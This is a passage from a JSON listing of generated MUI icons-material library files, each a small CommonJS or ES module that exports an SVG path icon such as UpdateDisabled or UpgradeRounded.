    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.45 6.55c-.38-.38-1.01-.38-1.39 0L16.89 8.7c-.39.38-.39 1.01 0 1.39l.01.01c.39.39 1.01.39 1.4 0 .62-.63 1.52-1.54 2.15-2.17.38-.38.38-1 0-1.38M12.02 3h-.03c-.55 0-.99.44-.99.98v3.03c0 .55.44.99.98.99h.03c.55 0 .99-.44.99-.98V3.98c0-.54-.44-.98-.98-.98M7.1 10.11l.01-.01c.38-.38.38-1.01 0-1.39L4.96 6.54c-.38-.39-1.01-.39-1.39 0l-.02.01c-.39.39-.39 1.01 0 1.39.63.62 1.53 1.54 2.15 2.17.39.38 1.02.38 1.4 0M12 15c-1.24 0-2.31-.75-2.76-1.83-.32-.74-1.1-1.17-1.9-1.17H4c-1.1 0-2 .9-2 2v5c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-5c0-1.1-.9-2-2-2h-3.34c-.8 0-1.58.43-1.9 1.17C14.31 14.25 13.24 15 12 15\"\n}), 'UpcomingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/UpcomingSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.16 7.26-1.41-1.41-3.56 3.55 1.41 1.41s3.45-3.52 3.56-3.55M11 3h2v5h-2zm-4.6 7.81L7.81 9.4 4.26 5.84 2.84 7.26c.11.03 3.56 3.55 3.56 3.55M22 12h-7c0 1.66-1.34 3-3 3s-3-1.34-3-3H2v9h20z\"\n}), 'UpcomingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/UpcomingSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.16 7.26-1.41-1.41-3.56 3.55 1.41 1.41s3.45-3.52 3.56-3.55M11 3h2v5h-2zm-4.6 7.81L7.81 9.4 4.26 5.84 2.84 7.26c.11.03 3.56 3.55 3.56 3.55M22 12h-7c0 1.66-1.34 3-3 3s-3-1.34-3-3H2v9h20z\"\n}), 'UpcomingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/UpcomingTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 17c-2.04 0-3.81-1.24-4.58-3H4v5h16v-5h-3.42c-.77 1.76-2.54 3-4.58 3\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.16 7.26-1.41-1.41-3.56 3.55 1.41 1.41s3.45-3.52 3.56-3.55M11 3h2v5h-2zm9 9h-5c0 1.66-1.34 3-3 3s-3-1.34-3-3H4c-1.1 0-2 .9-2 2v5c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-5c0-1.1-.9-2-2-2m0 7H4v-5h3.42c.77 1.76 2.54 3 4.58 3s3.81-1.24 4.58-3H20zM6.4 10.81 7.81 9.4 4.26 5.84 2.84 7.26c.11.03 3.56 3.55 3.56 3.55\"\n}, \"1\")], 'UpcomingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/UpcomingTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 17c-2.04 0-3.81-1.24-4.58-3H4v5h16v-5h-3.42c-.77 1.76-2.54 3-4.58 3\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.16 7.26-1.41-1.41-3.56 3.55 1.41 1.41s3.45-3.52 3.56-3.55M11 3h2v5h-2zm9 9h-5c0 1.66-1.34 3-3 3s-3-1.34-3-3H4c-1.1 0-2 .9-2 2v5c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-5c0-1.1-.9-2-2-2m0 7H4v-5h3.42c.77 1.76 2.54 3 4.58 3s3.81-1.24 4.58-3H20zM6.4 10.81 7.81 9.4 4.26 5.84 2.84 7.26c.11.03 3.56 3.55 3.56 3.55\"\n}, \"1\")], 'UpcomingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Update.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 10.12h-6.78l2.74-2.82c-2.73-2.7-7.15-2.8-9.88-.1-2.73 2.71-2.73 7.08 0 9.79s7.15 2.71 9.88 0C18.32 15.65 19 14.08 19 12.1h2c0 1.98-.88 4.55-2.64 6.29-3.51 3.48-9.21 3.48-12.72 0-3.5-3.47-3.53-9.11-.02-12.58s9.14-3.47 12.65 0L21 3zM12.5 8v4.25l3.5 2.08-.72 1.21L11 13V8z\"\n}), 'Update');"
  },
  {
    "path": "packages/mui-icons-material/lib/Update.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 10.12h-6.78l2.74-2.82c-2.73-2.7-7.15-2.8-9.88-.1-2.73 2.71-2.73 7.08 0 9.79s7.15 2.71 9.88 0C18.32 15.65 19 14.08 19 12.1h2c0 1.98-.88 4.55-2.64 6.29-3.51 3.48-9.21 3.48-12.72 0-3.5-3.47-3.53-9.11-.02-12.58s9.14-3.47 12.65 0L21 3zM12.5 8v4.25l3.5 2.08-.72 1.21L11 13V8z\"\n}), 'Update');"
  },
  {
    "path": "packages/mui-icons-material/lib/UpdateDisabled.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.67 5.84 7.22 4.39C8.6 3.51 10.24 3 12 3c2.74 0 5.19 1.23 6.84 3.16L21 4v6h-6l2.41-2.41C16.12 6.02 14.18 5 12 5c-1.2 0-2.34.31-3.33.84M13 7h-2v1.17l2 2zm6.78 15.61-3-3C15.39 20.48 13.76 21 12 21c-4.97 0-9-4.03-9-9 0-1.76.51-3.4 1.39-4.78l-3-3L2.8 2.81l18.38 18.38zm-4.46-4.46L5.84 8.67C5.31 9.66 5 10.8 5 12c0 3.86 3.14 7 7 7 1.2 0 2.34-.31 3.32-.85M20.94 13h-2.02c-.12.83-.39 1.61-.77 2.32l1.47 1.47c.7-1.12 1.17-2.41 1.32-3.79\"\n}), 'UpdateDisabled');"
  },
  {
    "path": "packages/mui-icons-material/lib/UpdateDisabled.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.67 5.84 7.22 4.39C8.6 3.51 10.24 3 12 3c2.74 0 5.19 1.23 6.84 3.16L21 4v6h-6l2.41-2.41C16.12 6.02 14.18 5 12 5c-1.2 0-2.34.31-3.33.84M13 7h-2v1.17l2 2zm6.78 15.61-3-3C15.39 20.48 13.76 21 12 21c-4.97 0-9-4.03-9-9 0-1.76.51-3.4 1.39-4.78l-3-3L2.8 2.81l18.38 18.38zm-4.46-4.46L5.84 8.67C5.31 9.66 5 10.8 5 12c0 3.86 3.14 7 7 7 1.2 0 2.34-.31 3.32-.85M20.94 13h-2.02c-.12.83-.39 1.61-.77 2.32l1.47 1.47c.7-1.12 1.17-2.41 1.32-3.79\"\n}), 'UpdateDisabled');"
  },
  {
    "path": "packages/mui-icons-material/lib/UpdateDisabledOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.94 13c-.15 1.38-.62 2.67-1.33 3.79l-1.47-1.47c.38-.71.65-1.49.77-2.32zM8.67 5.84C9.66 5.31 10.8 5 12 5c2.37 0 4.47 1.19 5.74 3H15v2h6V4h-2v2.36C17.35 4.32 14.83 3 12 3c-1.76 0-3.4.51-4.78 1.39zM11 7v1.17l2 2V7zm8.78 15.61-3-3C15.39 20.48 13.76 21 12 21c-4.97 0-9-4.03-9-9 0-1.76.51-3.4 1.39-4.78l-3-3L2.8 2.81l18.38 18.38zm-4.46-4.46L5.84 8.67C5.31 9.66 5 10.8 5 12c0 3.86 3.14 7 7 7 1.2 0 2.34-.31 3.32-.85\"\n}), 'UpdateDisabledOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/UpdateDisabledOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.94 13c-.15 1.38-.62 2.67-1.33 3.79l-1.47-1.47c.38-.71.65-1.49.77-2.32zM8.67 5.84C9.66 5.31 10.8 5 12 5c2.37 0 4.47 1.19 5.74 3H15v2h6V4h-2v2.36C17.35 4.32 14.83 3 12 3c-1.76 0-3.4.51-4.78 1.39zM11 7v1.17l2 2V7zm8.78 15.61-3-3C15.39 20.48 13.76 21 12 21c-4.97 0-9-4.03-9-9 0-1.76.51-3.4 1.39-4.78l-3-3L2.8 2.81l18.38 18.38zm-4.46-4.46L5.84 8.67C5.31 9.66 5 10.8 5 12c0 3.86 3.14 7 7 7 1.2 0 2.34-.31 3.32-.85\"\n}), 'UpdateDisabledOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/UpdateDisabledRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.49 20.49 3.51 3.51a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l2.31 2.31C3.57 8.56 3.05 10.09 3 11.74 2.86 16.83 6.94 21 12 21c1.76 0 3.39-.52 4.78-1.39l2.29 2.29c.39.39 1.02.39 1.41 0 .4-.39.4-1.02.01-1.41m-9.77-1.6c-2.78-.49-5.04-2.71-5.58-5.47-.34-1.72-.03-3.36.72-4.73l9.46 9.46c-1.34.72-2.92 1.03-4.6.74M13 8v2.17l-2-2V8c0-.55.45-1 1-1s1 .45 1 1m7.72 6.23c-.23.92-.61 1.77-1.1 2.55l-1.47-1.47c.27-.5.49-1.03.63-1.59.11-.42.51-.72.95-.72.65 0 1.15.61.99 1.23M7.24 4.41c1.46-.93 3.18-1.45 5-1.41 2.65.07 5 1.28 6.6 3.16l1.31-1.31c.31-.31.85-.09.85.36V9.5c0 .28-.22.5-.5.5h-4.29c-.45 0-.67-.54-.35-.85l1.55-1.55C16.12 6.02 14.18 5 12 5c-1.2 0-2.33.31-3.32.85z\"\n}), 'UpdateDisabledRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/UpdateDisabledRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.49 20.49 3.51 3.51a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l2.31 2.31C3.57 8.56 3.05 10.09 3 11.74 2.86 16.83 6.94 21 12 21c1.76 0 3.39-.52 4.78-1.39l2.29 2.29c.39.39 1.02.39 1.41 0 .4-.39.4-1.02.01-1.41m-9.77-1.6c-2.78-.49-5.04-2.71-5.58-5.47-.34-1.72-.03-3.36.72-4.73l9.46 9.46c-1.34.72-2.92 1.03-4.6.74M13 8v2.17l-2-2V8c0-.55.45-1 1-1s1 .45 1 1m7.72 6.23c-.23.92-.61 1.77-1.1 2.55l-1.47-1.47c.27-.5.49-1.03.63-1.59.11-.42.51-.72.95-.72.65 0 1.15.61.99 1.23M7.24 4.41c1.46-.93 3.18-1.45 5-1.41 2.65.07 5 1.28 6.6 3.16l1.31-1.31c.31-.31.85-.09.85.36V9.5c0 .28-.22.5-.5.5h-4.29c-.45 0-.67-.54-.35-.85l1.55-1.55C16.12 6.02 14.18 5 12 5c-1.2 0-2.33.31-3.32.85z\"\n}), 'UpdateDisabledRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/UpdateDisabledSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.67 5.84 7.22 4.39C8.6 3.51 10.24 3 12 3c2.74 0 5.19 1.23 6.84 3.16L21 4v6h-6l2.41-2.41C16.12 6.02 14.18 5 12 5c-1.2 0-2.34.31-3.33.84M13 7h-2v1.17l2 2zm6.78 15.61-3-3C15.39 20.48 13.76 21 12 21c-4.97 0-9-4.03-9-9 0-1.76.51-3.4 1.39-4.78l-3-3L2.8 2.81l18.38 18.38zm-4.46-4.46L5.84 8.67C5.31 9.66 5 10.8 5 12c0 3.86 3.14 7 7 7 1.2 0 2.34-.31 3.32-.85M20.94 13h-2.02c-.12.83-.39 1.61-.77 2.32l1.47 1.47c.7-1.12 1.17-2.41 1.32-3.79\"\n}), 'UpdateDisabledSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/UpdateDisabledSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.67 5.84 7.22 4.39C8.6 3.51 10.24 3 12 3c2.74 0 5.19 1.23 6.84 3.16L21 4v6h-6l2.41-2.41C16.12 6.02 14.18 5 12 5c-1.2 0-2.34.31-3.33.84M13 7h-2v1.17l2 2zm6.78 15.61-3-3C15.39 20.48 13.76 21 12 21c-4.97 0-9-4.03-9-9 0-1.76.51-3.4 1.39-4.78l-3-3L2.8 2.81l18.38 18.38zm-4.46-4.46L5.84 8.67C5.31 9.66 5 10.8 5 12c0 3.86 3.14 7 7 7 1.2 0 2.34-.31 3.32-.85M20.94 13h-2.02c-.12.83-.39 1.61-.77 2.32l1.47 1.47c.7-1.12 1.17-2.41 1.32-3.79\"\n}), 'UpdateDisabledSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/UpdateDisabledTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.67 5.84 7.22 4.39C8.6 3.51 10.24 3 12 3c2.74 0 5.19 1.23 6.84 3.16L21 4v6h-6l2.41-2.41C16.12 6.02 14.18 5 12 5c-1.2 0-2.34.31-3.33.84M13 7h-2v1.17l2 2zm6.78 15.61-3-3C15.39 20.48 13.76 21 12 21c-4.97 0-9-4.03-9-9 0-1.76.51-3.4 1.39-4.78l-3-3L2.8 2.81l18.38 18.38zm-4.46-4.46L5.84 8.67C5.31 9.66 5 10.8 5 12c0 3.86 3.14 7 7 7 1.2 0 2.34-.31 3.32-.85M20.94 13h-2.02c-.12.83-.39 1.61-.77 2.32l1.47 1.47c.7-1.12 1.17-2.41 1.32-3.79\"\n}), 'UpdateDisabledTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/UpdateDisabledTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.67 5.84 7.22 4.39C8.6 3.51 10.24 3 12 3c2.74 0 5.19 1.23 6.84 3.16L21 4v6h-6l2.41-2.41C16.12 6.02 14.18 5 12 5c-1.2 0-2.34.31-3.33.84M13 7h-2v1.17l2 2zm6.78 15.61-3-3C15.39 20.48 13.76 21 12 21c-4.97 0-9-4.03-9-9 0-1.76.51-3.4 1.39-4.78l-3-3L2.8 2.81l18.38 18.38zm-4.46-4.46L5.84 8.67C5.31 9.66 5 10.8 5 12c0 3.86 3.14 7 7 7 1.2 0 2.34-.31 3.32-.85M20.94 13h-2.02c-.12.83-.39 1.61-.77 2.32l1.47 1.47c.7-1.12 1.17-2.41 1.32-3.79\"\n}), 'UpdateDisabledTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/UpdateOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 8v5l4.25 2.52.77-1.28-3.52-2.09V8zm10 2V3l-2.64 2.64C16.74 4.01 14.49 3 12 3c-4.97 0-9 4.03-9 9s4.03 9 9 9 9-4.03 9-9h-2c0 3.86-3.14 7-7 7s-7-3.14-7-7 3.14-7 7-7c1.93 0 3.68.79 4.95 2.05L14 10z\"\n}), 'UpdateOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/UpdateOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 8v5l4.25 2.52.77-1.28-3.52-2.09V8zm10 2V3l-2.64 2.64C16.74 4.01 14.49 3 12 3c-4.97 0-9 4.03-9 9s4.03 9 9 9 9-4.03 9-9h-2c0 3.86-3.14 7-7 7s-7-3.14-7-7 3.14-7 7-7c1.93 0 3.68.79 4.95 2.05L14 10z\"\n}), 'UpdateOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/UpdateRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 8.75v3.68c0 .35.19.68.49.86l3.12 1.85c.36.21.82.09 1.03-.26.21-.36.1-.82-.26-1.03l-2.87-1.71v-3.4c-.01-.4-.35-.74-.76-.74s-.75.34-.75.75m10 .75V4.21c0-.45-.54-.67-.85-.35l-1.78 1.78c-1.81-1.81-4.39-2.85-7.21-2.6-4.19.38-7.64 3.75-8.1 7.94C2.46 16.4 6.69 21 12 21c4.59 0 8.38-3.44 8.93-7.88.07-.6-.4-1.12-1-1.12-.5 0-.92.37-.98.86-.43 3.49-3.44 6.19-7.05 6.14-3.71-.05-6.84-3.18-6.9-6.9C4.94 8.2 8.11 5 12 5c1.93 0 3.68.79 4.95 2.05l-2.09 2.09c-.32.32-.1.86.35.86h5.29c.28 0 .5-.22.5-.5\"\n}), 'UpdateRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/UpdateRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 8.75v3.68c0 .35.19.68.49.86l3.12 1.85c.36.21.82.09 1.03-.26.21-.36.1-.82-.26-1.03l-2.87-1.71v-3.4c-.01-.4-.35-.74-.76-.74s-.75.34-.75.75m10 .75V4.21c0-.45-.54-.67-.85-.35l-1.78 1.78c-1.81-1.81-4.39-2.85-7.21-2.6-4.19.38-7.64 3.75-8.1 7.94C2.46 16.4 6.69 21 12 21c4.59 0 8.38-3.44 8.93-7.88.07-.6-.4-1.12-1-1.12-.5 0-.92.37-.98.86-.43 3.49-3.44 6.19-7.05 6.14-3.71-.05-6.84-3.18-6.9-6.9C4.94 8.2 8.11 5 12 5c1.93 0 3.68.79 4.95 2.05l-2.09 2.09c-.32.32-.1.86.35.86h5.29c.28 0 .5-.22.5-.5\"\n}), 'UpdateRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/UpdateSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 8v5l4.25 2.52.77-1.28-3.52-2.09V8zm10 2V3l-2.64 2.64C16.74 4.01 14.49 3 12 3c-4.97 0-9 4.03-9 9s4.03 9 9 9 9-4.03 9-9h-2c0 3.86-3.14 7-7 7s-7-3.14-7-7 3.14-7 7-7c1.93 0 3.68.79 4.95 2.05L14 10z\"\n}), 'UpdateSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/UpdateSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 8v5l4.25 2.52.77-1.28-3.52-2.09V8zm10 2V3l-2.64 2.64C16.74 4.01 14.49 3 12 3c-4.97 0-9 4.03-9 9s4.03 9 9 9 9-4.03 9-9h-2c0 3.86-3.14 7-7 7s-7-3.14-7-7 3.14-7 7-7c1.93 0 3.68.79 4.95 2.05L14 10z\"\n}), 'UpdateSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/UpdateTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 8v5l4.25 2.52.77-1.28-3.52-2.09V8zm10 2V3l-2.64 2.64C16.74 4.01 14.49 3 12 3c-4.97 0-9 4.03-9 9s4.03 9 9 9 9-4.03 9-9h-2c0 3.86-3.14 7-7 7s-7-3.14-7-7 3.14-7 7-7c1.93 0 3.68.79 4.95 2.05L14 10z\"\n}), 'UpdateTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/UpdateTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 8v5l4.25 2.52.77-1.28-3.52-2.09V8zm10 2V3l-2.64 2.64C16.74 4.01 14.49 3 12 3c-4.97 0-9 4.03-9 9s4.03 9 9 9 9-4.03 9-9h-2c0 3.86-3.14 7-7 7s-7-3.14-7-7 3.14-7 7-7c1.93 0 3.68.79 4.95 2.05L14 10z\"\n}), 'UpdateTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Upgrade.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 18v2H8v-2zM11 7.99V16h2V7.99h3L12 4 8 7.99z\"\n}), 'Upgrade');"
  },
  {
    "path": "packages/mui-icons-material/lib/Upgrade.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 18v2H8v-2zM11 7.99V16h2V7.99h3L12 4 8 7.99z\"\n}), 'Upgrade');"
  },
  {
    "path": "packages/mui-icons-material/lib/UpgradeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 18v2H8v-2zM11 7.99V16h2V7.99h3L12 4 8 7.99z\"\n}), 'UpgradeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/UpgradeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 18v2H8v-2zM11 7.99V16h2V7.99h3L12 4 8 7.99z\"\n}), 'UpgradeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/UpgradeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 19c0 .55-.45 1-1 1H9c-.55 0-1-.45-1-1s.45-1 1-1h6c.55 0 1 .45 1 1M11 7.99V15c0 .55.45 1 1 1s1-.45 1-1V7.99h1.79c.45 0 .67-.54.35-.85l-2.79-2.78c-.2-.19-.51-.19-.71 0L8.86 7.14c-.32.31-.1.85.35.85z\"\n}), 'UpgradeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/UpgradeRounded.mjs",
